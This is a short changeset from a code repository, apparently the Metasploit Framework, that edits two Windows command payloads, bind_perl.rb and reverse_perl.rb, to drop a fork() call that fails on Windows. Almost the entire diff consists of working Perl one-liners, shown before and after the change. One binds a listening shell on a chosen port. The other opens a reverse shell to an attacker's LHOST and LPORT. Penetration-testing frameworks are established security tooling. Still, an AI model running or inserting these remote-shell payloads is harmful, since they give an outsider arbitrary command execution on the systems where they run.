Changeset 5495

Show
Ignore:
Timestamp:
04/24/08 23:37:53 (3 weeks ago)
Author:
egypt
Message:

Fork doesn't work on windows

Files:

Legend:

Unmodified
Added
Removed
Modified
Copied
Moved

  • framework3/trunk/modules/payloads/singles/cmd/windows/bind_perl.rb

    r5465 r5495  
    5757        def command_string 
    5858 
    59                 cmd = "perl -MIO -e \"$p=fork();exit,if$p;while($c=new IO::Socket::INET(LocalPort,#{datastore['LPORT']},Reuse,1,Listen)->accept){$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>}\"" 
     59                cmd = "perl -MIO -e \"while($c=new IO::Socket::INET(LocalPort,#{datastore['LPORT']},Reuse,1,Listen)->accept){$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>}\"" 
    6060 
    6161                return cmd 

  • framework3/trunk/modules/payloads/singles/cmd/windows/reverse_perl.rb

    r5465 r5495  
    5757        def command_string 
    5858 
    59                 cmd = "perl -MIO -e \"$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,\\\"#{datastore['LHOST']}:#{datastore['LPORT']}\\\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;\"" 
     59                cmd = "perl -MIO -e \"$c=new IO::Socket::INET(PeerAddr,\\\"#{datastore['LHOST']}:#{datastore['LPORT']}\\\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;\"" 
    6060 
    6161        end